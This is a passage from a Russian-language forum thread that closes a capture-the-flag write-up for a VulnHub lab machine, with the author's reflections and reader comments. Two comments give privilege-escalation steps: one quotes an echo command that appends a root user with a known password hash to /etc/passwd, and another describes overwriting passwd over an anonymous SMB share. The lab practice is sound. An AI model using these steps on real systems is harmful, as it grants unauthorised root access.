  (__)       ()__________)


34d3ecb1bbd092bcb87954cee55d88d3

Thanks for playing! - Felipe Winsnes (@whitecr0wz)

Резюме
Что могу сказать об этой машине... Она не оказалась сложной, просто были моменты которые требовали поиск информации для решение задач, для которых не хватало знаний. Я явно прошел ее не по плану автора, так как флаг юзера я брал уже в конце вместе с рутовским, а значит наверное есть альтернативное решение с получением юзера miguel и уже выходом на root.
Но все это только подталкивает задержаться на ней и поработать еще, так как остались еще службы которые я не задействовал, тот же MySQL.

Выводы:

Чему научила эта машина?
Наверное в моем прохождении особо не чему, так как не пришлось использовать разные техники. Например:
1. Обход фильтрации на сервере
2. Работа с MySQL


В целом появлялось желание подсматреть, но после Sunset Decoy, я понял что в состоянии решить задачу сам. Главное не торопиться и периодически переключаться на что нибуть в случае подвисания. Я еще поработаю над машиной и в следующем обзоре опишу иные методы проникновения.

Спасибо!
 
Спасибо за статью! Есть вопрос, как ты скачиваешь себе машину, ты купил подписку на сайте?
 
Спасибо за статью! Есть вопрос, как ты скачиваешь себе машину, ты купил подписку на сайте?
В списке машин, кликай на название и вывалится поп-ап, в нем ссыль на vulnhub
 
  • Нравится
Реакции: Mudblood-
Получил хеш пароля test123, теперь нужно отредактировать файл /etc/passwd. Скажу сразу, через коману echo “hash” >> /etc/passwd выполнить задачу не удасться, так как в файл добавится все, кроме самого хеша. Почему так, я не разбирался еще, но как-то попробую узнать.
Можно попробовать заменить двойные кавычки на одинарные, чтобы bash не обрабатывал содержимое
echo 'toor:$1$new$5.ite0q7hk9LLso7LljIk/:0:0:root:/root:/bin/bash' >> /etc/passwd
 
Спасибо за райтап! Очень нравится стиль.
Флаги у меня в других местах лежали, а под NULL юзером можно было залить отредактированный файл passwd с нужным паролем рута (smb: \etc\> put passwd).
 
Спасибо за райтап! Очень нравится стиль.
Флаги у меня в других местах лежали, а под NULL юзером можно было залить отредактированный файл passwd с нужным паролем рута (smb: \etc\> put passwd).
Да, можно было. Но я это уже потом понял)
 
  • Нравится
Реакции: ALT1RE
Спасибо большое за статью. такой вопрос, ыидно что у вас присутствует неплохой теоритический плацдарм, где его брали? список литературы был взят с этого сайта или вы составляли свой? если свой то как выбирали?
 
  • Нравится
Реакции: Adrian Grum
Спасибо большое за статью. такой вопрос, ыидно что у вас присутствует неплохой теоритический плацдарм, где его брали? список литературы был взят с этого сайта или вы составляли свой? если свой то как выбирали?
Вы не первый кто задает подобный вопрос ))) Если дадите мне немного времени, пару дней, я все ответы дам в посте, так как не хочется и нет времени отвечать на одно и тоже всем кто интересуется. Поэтому чуток потерпите и следующий пост ответит на все ваши вопросы.
С Уважением
 
Вы не первый кто задает подобный вопрос ))) Если дадите мне немного времени, пару дней, я все ответы дам в посте, так как не хочется и нет времени отвечать на одно и тоже всем кто интересуется. Поэтому чуток потерпите и следующий пост ответит на все ваши вопросы.
С Уважением
При много благодарен. Буду ждать с нетерпением
 
  • Нравится
Реакции: Adrian Grum
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab